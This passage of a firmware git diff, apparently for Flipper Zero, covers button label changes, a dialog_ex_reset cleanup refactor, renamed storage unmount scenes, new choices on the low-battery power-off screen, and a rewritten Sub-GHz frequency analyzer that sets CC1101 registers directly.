.../scenes/storage_settings_scene_benchmark.c | 8 +- .../storage_settings_scene_factory_reset.c | 13 +- .../storage_settings_scene_format_confirm.c | 8 +- .../storage_settings_scene_formatting.c | 24 +- .../storage_settings_scene_internal_info.c | 9 +- .../scenes/storage_settings_scene_sd_info.c | 9 +- ... storage_settings_scene_unmount_confirm.c} | 17 +- ...d.c => storage_settings_scene_unmounted.c} | 15 +- .../subghz_frequency_analyzer_worker.c | 153 +- .../subghz/scenes/subghz_scene_show_error.c | 2 +- applications/system/system_settings.c | 4 +- assets/compiled/assets_icons.c | 84 - assets/compiled/assets_icons.h | 11 - assets/resources/Manifest | 6550 ++++++++--------- .../targets/f7/furi_hal/furi_hal_resources.c | 2 +- lib/subghz/protocols/megacode.c | 11 +- 27 files changed, 3521 insertions(+), 3520 deletions(-) rename applications/storage_settings/scenes/{storage_settings_scene_eject_confirm.c => storage_settings_scene_unmount_confirm.c} (82%) rename applications/storage_settings/scenes/{storage_settings_scene_ejected.c => storage_settings_scene_unmounted.c} (76%) mode change 100755 => 100644 diff --git a/applications/bt/bt_service/bt.c b/applications/bt/bt_service/bt.c index 111ebcb24..4a7b6f659 100755 --- a/applications/bt/bt_service/bt.c +++ b/applications/bt/bt_service/bt.c @@ -80,7 +80,7 @@ static bool bt_pin_code_verify_event_handler(Bt* bt, uint32_t pin) { string_init_printf(pin_str, "Verify code\n%06d", pin); dialog_message_set_text( bt->dialog_message, string_get_cstr(pin_str), 64, 4, AlignCenter, AlignTop); - dialog_message_set_buttons(bt->dialog_message, "Cancel", "Ok", NULL); + dialog_message_set_buttons(bt->dialog_message, "Cancel", "OK", NULL); DialogMessageButton button = dialog_message_show(bt->dialogs, bt->dialog_message); string_clear(pin_str); return button == DialogMessageButtonCenter; diff --git a/applications/desktop/helpers/pin_lock.c b/applications/desktop/helpers/pin_lock.c index 00ac41778..d63398d96 100644 --- a/applications/desktop/helpers/pin_lock.c +++ b/applications/desktop/helpers/pin_lock.c @@ -100,11 +100,12 @@ void desktop_pin_lock_init(DesktopSettings* settings) { } else { furi_hal_rtc_set_pin_fails(0); furi_hal_rtc_reset_flag(FuriHalRtcFlagLock); - furi_hal_usb_enable(); } if(desktop_pin_lock_is_locked()) { - furi_hal_usb_disable(); + Cli* cli = furi_record_open("cli"); + cli_session_close(cli); + furi_record_close("cli"); } } diff --git a/applications/desktop/views/desktop_view_locked.c b/applications/desktop/views/desktop_view_locked.c index 9f39c2ce6..4b544988e 100644 --- a/applications/desktop/views/desktop_view_locked.c +++ b/applications/desktop/views/desktop_view_locked.c @@ -125,7 +125,9 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { canvas_set_font(canvas, FontSecondary); elements_bold_rounded_frame(canvas, 14, 2 + STATUS_BAR_Y_SHIFT, 99, 48); elements_multiline_text(canvas, 65, 20 + STATUS_BAR_Y_SHIFT, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Back3_45x8); + canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 80, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); + canvas_draw_icon(canvas, 95, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); canvas_draw_icon(canvas, 16, 7 + STATUS_BAR_Y_SHIFT, &I_WarningDolphin_45x42); canvas_draw_dot(canvas, 17, 61); } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { diff --git a/applications/gpio/scenes/gpio_scene_start.c b/applications/gpio/scenes/gpio_scene_start.c index 4257ec39b..4df74114a 100644 --- a/applications/gpio/scenes/gpio_scene_start.c +++ b/applications/gpio/scenes/gpio_scene_start.c @@ -15,8 +15,8 @@ enum GpioOtg { }; const char* const gpio_otg_text[GpioOtgSettingsNum] = { - "Off", - "On", + "OFF", + "ON", }; static void gpio_scene_start_var_list_enter_callback(void* context, uint32_t index) { diff --git a/applications/ibutton/scenes/ibutton_scene_read_crc_error.c b/applications/ibutton/scenes/ibutton_scene_read_crc_error.c index 4df96d641..28d59d2d0 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_crc_error.c +++ b/applications/ibutton/scenes/ibutton_scene_read_crc_error.c @@ -61,11 +61,7 @@ void ibutton_scene_read_crc_error_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); ibutton_notification_message(ibutton, iButtonNotificationMessageRedOff); } diff --git a/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c b/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c index 76f14daed..45fbefe8b 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c +++ b/applications/ibutton/scenes/ibutton_scene_read_not_key_error.c @@ -62,11 +62,7 @@ void ibutton_scene_read_not_key_error_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); ibutton_notification_message(ibutton, iButtonNotificationMessageRedOff); } diff --git a/applications/ibutton/scenes/ibutton_scene_read_success.c b/applications/ibutton/scenes/ibutton_scene_read_success.c index c3a134787..1c2bcdd29 100644 --- a/applications/ibutton/scenes/ibutton_scene_read_success.c +++ b/applications/ibutton/scenes/ibutton_scene_read_success.c @@ -76,12 +76,7 @@ void ibutton_scene_read_success_on_exit(void* context) { ibutton_text_store_clear(ibutton); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); + dialog_ex_reset(dialog_ex); ibutton_notification_message(ibutton, iButtonNotificationMessageGreenOff); } diff --git a/applications/infrared/view/infrared_progress_view.c b/applications/infrared/view/infrared_progress_view.c index c9075147b..cd2a07543 100644 --- a/applications/infrared/view/infrared_progress_view.c +++ b/applications/infrared/view/infrared_progress_view.c @@ -59,7 +59,7 @@ static void infrared_progress_view_draw_callback(Canvas* canvas, void* _model) { elements_multiline_text_aligned( canvas, x + 33, y + 37, AlignCenter, AlignCenter, percents_string); - canvas_draw_icon(canvas, x + 11, y + height - 15, &I_Back_15x10); + canvas_draw_icon(canvas, x + 14, y + height - 14, &I_Pin_back_arrow_10x8); canvas_draw_str(canvas, x + 30, y + height - 6, "= stop"); } diff --git a/applications/power/power_service/power.c b/applications/power/power_service/power.c index ac1856e75..1315809e9 100644 --- a/applications/power/power_service/power.c +++ b/applications/power/power_service/power.c @@ -168,10 +168,24 @@ static void power_check_low_battery(Power* power) { } // If battery low, update view and switch off power after timeout if(power->battery_low) { - if(power->power_off_timeout) { - power_off_set_time_left(power->power_off, power->power_off_timeout--); - } else { + PowerOffResponse response = power_off_get_response(power->power_off); + if(response == PowerOffResponseDefault) { + if(power->power_off_timeout) { + power_off_set_time_left(power->power_off, power->power_off_timeout--); + } else { + power_off(power); + } + } else if(response == PowerOffResponseOk) { power_off(power); + } else if(response == PowerOffResponseHide) { + view_dispatcher_switch_to_view(power->view_dispatcher, VIEW_NONE); + if(power->power_off_timeout) { + power_off_set_time_left(power->power_off, power->power_off_timeout--); + } else { + power_off(power); + } + } else if(response == PowerOffResponseCancel) { + view_dispatcher_switch_to_view(power->view_dispatcher, VIEW_NONE); } } } diff --git a/applications/power/power_service/views/power_off.c b/applications/power/power_service/views/power_off.c index 46344b9bf..398ebe4ab 100755 --- a/applications/power/power_service/views/power_off.c +++ b/applications/power/power_service/views/power_off.c @@ -7,6 +7,7 @@ struct PowerOff { }; typedef struct { + PowerOffResponse response; uint32_t time_left_sec; } PowerOffModel; @@ -21,18 +22,54 @@ static void power_off_draw_callback(Canvas* canvas, void* _model) { canvas_draw_icon(canvas, 0, 18, &I_BatteryBody_52x28); canvas_draw_icon(canvas, 16, 25, &I_FaceNopower_29x14); elements_bubble(canvas, 54, 17, 70, 30); + canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 70, 23, AlignLeft, AlignTop, "Connect me\n to charger."); - snprintf(buff, sizeof(buff), "Poweroff in %lds.", model->time_left_sec); - canvas_draw_str_aligned(canvas, 64, 60, AlignCenter, AlignBottom, buff); + if(model->response == PowerOffResponseDefault) { + snprintf(buff, sizeof(buff), "Charge me!\nOff in %lds!", model->time_left_sec); + elements_multiline_text_aligned(canvas, 70, 23, AlignLeft, AlignTop, buff); + + elements_button_left(canvas, "Cancel"); + elements_button_center(canvas, "OK"); + elements_button_right(canvas, "Hide"); + } else { + snprintf(buff, sizeof(buff), "Charge me!\nDont't forget!"); + elements_multiline_text_aligned(canvas, 70, 23, AlignLeft, AlignTop, buff); + + canvas_draw_str_aligned(canvas, 64, 60, AlignCenter, AlignBottom, "Hold a second..."); + } +} + +static bool power_off_input_callback(InputEvent* event, void* context) { + PowerOff* power_off = context; + + bool consumed = false; + PowerOffModel* model = view_get_model(power_off->view); + if(model->response == PowerOffResponseDefault && event->type == InputTypeShort) { + if(event->key == InputKeyOk) { + model->response = PowerOffResponseOk; + consumed = true; + } else if(event->key == InputKeyLeft) { + model->response = PowerOffResponseCancel; + consumed = true; + } else if(event->key == InputKeyRight) { + model->response = PowerOffResponseHide; + consumed = true; + } + } + view_commit_model(power_off->view, consumed); + + return true; } PowerOff* power_off_alloc() { PowerOff* power_off = malloc(sizeof(PowerOff)); + power_off->view = view_alloc(); view_allocate_model(power_off->view, ViewModelTypeLocking, sizeof(PowerOffModel)); + view_set_context(power_off->view, power_off); view_set_draw_callback(power_off->view, power_off_draw_callback); + view_set_input_callback(power_off->view, power_off_input_callback); + return power_off; } @@ -55,3 +92,14 @@ void power_off_set_time_left(PowerOff* power_off, uint8_t time_left) { return true; }); } + +PowerOffResponse power_off_get_response(PowerOff* power_off) { + furi_assert(power_off); + PowerOffResponse response; + with_view_model( + power_off->view, (PowerOffModel * model) { + response = model->response; + return false; + }); + return response; +} diff --git a/applications/power/power_service/views/power_off.h b/applications/power/power_service/views/power_off.h index 2e2e91f72..5137c2e99 100644 --- a/applications/power/power_service/views/power_off.h +++ b/applications/power/power_service/views/power_off.h @@ -2,6 +2,13 @@ typedef struct PowerOff PowerOff; +typedef enum { + PowerOffResponseDefault, + PowerOffResponseOk, + PowerOffResponseCancel, + PowerOffResponseHide, +} PowerOffResponse; + #include PowerOff* power_off_alloc(); @@ -11,3 +18,5 @@ void power_off_free(PowerOff* power_off); View* power_off_get_view(PowerOff* power_off); void power_off_set_time_left(PowerOff* power_off, uint8_t time_left); + +PowerOffResponse power_off_get_response(PowerOff* power_off); diff --git a/applications/storage_settings/scenes/storage_settings_scene_benchmark.c b/applications/storage_settings/scenes/storage_settings_scene_benchmark.c index e7cfd826a..45fbce8ff 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_benchmark.c +++ b/applications/storage_settings/scenes/storage_settings_scene_benchmark.c @@ -151,13 +151,7 @@ void storage_settings_scene_benchmark_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c b/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c index 78a8363aa..84119422a 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c +++ b/applications/storage_settings/scenes/storage_settings_scene_factory_reset.c @@ -18,7 +18,7 @@ void storage_settings_scene_factory_reset_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_factory_reset_dialog_callback); - dialog_ex_set_left_button_text(dialog_ex, "Back"); + dialog_ex_set_left_button_text(dialog_ex, "Cancel"); dialog_ex_set_right_button_text(dialog_ex, "Erase"); dialog_ex_set_header(dialog_ex, "Confirm Factory Reset", 64, 10, AlignCenter, AlignCenter); @@ -70,7 +70,10 @@ bool storage_settings_scene_factory_reset_on_event(void* context, SceneManagerEv consumed = true; break; } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = true; } + return consumed; } @@ -78,13 +81,7 @@ void storage_settings_scene_factory_reset_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c b/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c index a80215bc8..db040d6eb 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c +++ b/applications/storage_settings/scenes/storage_settings_scene_format_confirm.c @@ -57,11 +57,5 @@ void storage_settings_scene_format_confirm_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_formatting.c b/applications/storage_settings/scenes/storage_settings_scene_formatting.c index 143bda95a..2cbf97eea 100755 --- a/applications/storage_settings/scenes/storage_settings_scene_formatting.c +++ b/applications/storage_settings/scenes/storage_settings_scene_formatting.c @@ -39,18 +39,17 @@ void storage_settings_scene_formatting_on_enter(void* context) { notification_message(app->notification, &sequence_reset_formatting_leds); notification_message(app->notification, &sequence_blink_green_100); + dialog_ex_set_context(dialog_ex, app); + dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_formatting_dialog_callback); + if(error != FSE_OK) { dialog_ex_set_header(dialog_ex, "Cannot format SD Card", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( dialog_ex, storage_error_get_desc(error), 64, 32, AlignCenter, AlignCenter); } else { - dialog_ex_set_header(dialog_ex, "SD card formatted", 64, 10, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, "Press back to return", 64, 32, AlignCenter, AlignCenter); + dialog_ex_set_header(dialog_ex, "Format complete!", 64, 32, AlignCenter, AlignCenter); } - - dialog_ex_set_context(dialog_ex, app); - dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_formatting_dialog_callback); - dialog_ex_set_left_button_text(dialog_ex, "Back"); + dialog_ex_set_center_button_text(dialog_ex, "OK"); } bool storage_settings_scene_formatting_on_event(void* context, SceneManagerEvent event) { @@ -59,14 +58,13 @@ bool storage_settings_scene_formatting_on_event(void* context, SceneManagerEvent if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - case DialogExResultLeft: + case DialogExResultCenter: consumed = scene_manager_search_and_switch_to_previous_scene( app->scene_manager, StorageSettingsStart); break; } } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, StorageSettingsStart); + consumed = true; } return consumed; @@ -76,11 +74,5 @@ void storage_settings_scene_formatting_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_internal_info.c b/applications/storage_settings/scenes/storage_settings_scene_internal_info.c index 971695b6f..53f791bd8 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_internal_info.c +++ b/applications/storage_settings/scenes/storage_settings_scene_internal_info.c @@ -18,7 +18,6 @@ void storage_settings_scene_internal_info_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_internal_info_dialog_callback); - dialog_ex_set_left_button_text(dialog_ex, "Back"); if(error != FSE_OK) { dialog_ex_set_header( dialog_ex, "Internal storage error", 64, 10, AlignCenter, AlignCenter); @@ -56,13 +55,7 @@ void storage_settings_scene_internal_info_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_sd_info.c b/applications/storage_settings/scenes/storage_settings_scene_sd_info.c index 297041a58..b64caeb2e 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_sd_info.c +++ b/applications/storage_settings/scenes/storage_settings_scene_sd_info.c @@ -15,7 +15,6 @@ void storage_settings_scene_sd_info_on_enter(void* context) { dialog_ex_set_context(dialog_ex, app); dialog_ex_set_result_callback(dialog_ex, storage_settings_scene_sd_info_dialog_callback); - dialog_ex_set_left_button_text(dialog_ex, "Back"); if(sd_status != FSE_OK) { dialog_ex_set_header(dialog_ex, "SD card not mounted", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( @@ -62,13 +61,7 @@ void storage_settings_scene_sd_info_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); string_reset(app->text_string); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c b/applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c similarity index 82% rename from applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c rename to applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c index 8fc6c8714..f94993220 100644 --- a/applications/storage_settings/scenes/storage_settings_scene_eject_confirm.c +++ b/applications/storage_settings/scenes/storage_settings_scene_unmount_confirm.c @@ -11,9 +11,9 @@ void storage_settings_scene_unmount_confirm_on_enter(void* context) { StorageSettings* app = context; FS_Error sd_status = storage_sd_status(app->fs_api); DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_left_button_text(dialog_ex, "Back"); if(sd_status == FSE_NOT_READY) { + dialog_ex_set_center_button_text(dialog_ex, "OK"); dialog_ex_set_header(dialog_ex, "SD card not mounted", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( dialog_ex, @@ -23,6 +23,7 @@ void storage_settings_scene_unmount_confirm_on_enter(void* context) { AlignCenter, AlignCenter); } else { + dialog_ex_set_left_button_text(dialog_ex, "Cancel"); dialog_ex_set_right_button_text(dialog_ex, "Unmount"); dialog_ex_set_header(dialog_ex, "Unmount SD card?", 64, 10, AlignCenter, AlignCenter); dialog_ex_set_text( @@ -42,6 +43,9 @@ bool storage_settings_scene_unmount_confirm_on_event(void* context, SceneManager if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { + case DialogExResultCenter: + consumed = scene_manager_previous_scene(app->scene_manager); + break; case DialogExResultLeft: consumed = scene_manager_previous_scene(app->scene_manager); break; @@ -50,7 +54,10 @@ bool storage_settings_scene_unmount_confirm_on_event(void* context, SceneManager consumed = true; break; } + } else if(event.type == SceneManagerEventTypeBack) { + consumed = true; } + return consumed; } @@ -58,11 +65,5 @@ void storage_settings_scene_unmount_confirm_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); } diff --git a/applications/storage_settings/scenes/storage_settings_scene_ejected.c b/applications/storage_settings/scenes/storage_settings_scene_unmounted.c old mode 100755 new mode 100644 similarity index 76% rename from applications/storage_settings/scenes/storage_settings_scene_ejected.c rename to applications/storage_settings/scenes/storage_settings_scene_unmounted.c index 08208f871..ddd70d055 --- a/applications/storage_settings/scenes/storage_settings_scene_ejected.c +++ b/applications/storage_settings/scenes/storage_settings_scene_unmounted.c @@ -12,7 +12,7 @@ void storage_settings_scene_unmounted_on_enter(void* context) { FS_Error error = storage_sd_unmount(app->fs_api); DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_left_button_text(dialog_ex, "Back"); + dialog_ex_set_center_button_text(dialog_ex, "OK"); if(error == FSE_OK) { dialog_ex_set_header(dialog_ex, "SD card unmounted", 64, 10, AlignCenter, AlignCenter); @@ -39,14 +39,13 @@ bool storage_settings_scene_unmounted_on_event(void* context, SceneManagerEvent if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - case DialogExResultLeft: + case DialogExResultCenter: consumed = scene_manager_search_and_switch_to_previous_scene( app->scene_manager, StorageSettingsStart); break; } } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, StorageSettingsStart); + consumed = true; } return consumed; @@ -56,11 +55,5 @@ void storage_settings_scene_unmounted_on_exit(void* context) { StorageSettings* app = context; DialogEx* dialog_ex = app->dialog_ex; - dialog_ex_set_header(dialog_ex, NULL, 0, 0, AlignCenter, AlignCenter); - dialog_ex_set_text(dialog_ex, NULL, 0, 0, AlignCenter, AlignTop); - dialog_ex_set_icon(dialog_ex, 0, 0, NULL); - dialog_ex_set_left_button_text(dialog_ex, NULL); - dialog_ex_set_right_button_text(dialog_ex, NULL); - dialog_ex_set_result_callback(dialog_ex, NULL); - dialog_ex_set_context(dialog_ex, NULL); + dialog_ex_reset(dialog_ex); } diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index c0e1fdbaa..88e2a621c 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -1,24 +1,22 @@ #include "subghz_frequency_analyzer_worker.h" -#include +#include #include #include "../subghz_i.h" +#define TAG "SubghzFrequencyAnalyzerWorker" + +#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f + static const uint8_t subghz_preset_ook_58khz[][2] = { - {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 - {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz - {CC1101_TEST2, 0x81}, // FIFOTHR ADC_RETENTION=1 matched value - {CC1101_TEST1, 0x35}, // FIFOTHR ADC_RETENTION=1 matched value + {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz /* End */ {0, 0}, }; static const uint8_t subghz_preset_ook_650khz[][2] = { - {CC1101_FIFOTHR, 0x07}, // The only important bit is ADC_RETENTION - {CC1101_MDMCFG4, 0x17}, // Rx BW filter is 650.000kHz - {CC1101_TEST2, 0x88}, - {CC1101_TEST1, 0x31}, + {CC1101_MDMCFG4, 0b00010111}, // Rx BW filter is 650.000kHz /* End */ {0, 0}, }; @@ -27,7 +25,7 @@ struct SubGhzFrequencyAnalyzerWorker { FuriThread* thread; volatile bool worker_running; - uint8_t count_repet; + uint8_t sample_hold_counter; FrequencyRSSI frequency_rssi_buf; SubGhzSetting* setting; @@ -37,6 +35,16 @@ struct SubGhzFrequencyAnalyzerWorker { void* context; }; +static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + size_t i = 0; + while(data[i][0]) { + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); + i++; + } + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); +} + // running average with adaptive coefficient static uint32_t subghz_frequency_analyzer_worker_expRunningAverageAdaptive( SubGhzFrequencyAnalyzerWorker* instance, @@ -62,32 +70,75 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; - float rssi; - uint32_t frequency; - uint32_t frequency_start; + float rssi = 0; + uint32_t frequency = 0; + CC1101Status status; //Start CC1101 furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); - furi_hal_subghz_set_frequency(433920000); - furi_hal_subghz_flush_rx(); + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_MDMCFG3, + 0b11111111); // symbol rate + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL2, + 0b00000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAGN_TARGET 42 dB + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL1, + 0b00001000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 1000 - Absolute carrier sense threshold disabled + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL0, + 0b00110000); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 11 - 64 samples agc; 00 - Normal AGC, 00 - 4dB boundary + + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); - furi_hal_subghz_rx(); while(instance->worker_running) { osDelay(10); + + float rssi_min = 26.0f; + float rssi_avg = 0; + size_t rssi_avg_samples = 0; + frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_650khz); + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); + + // First stage: coarse scan for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency( + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency( + &furi_hal_spi_bus_handle_subghz, subghz_setting_get_frequency(instance->setting, i)); - furi_hal_subghz_rx(); - osDelay(3); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + + // delay will be in range between 1 and 2ms + osDelay(2); + rssi = furi_hal_subghz_get_rssi(); + + rssi_avg += rssi; + rssi_avg_samples++; + + if(rssi < rssi_min) rssi_min = rssi; + if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; frequency_rssi.frequency = frequency; @@ -95,19 +146,41 @@ static int32_t 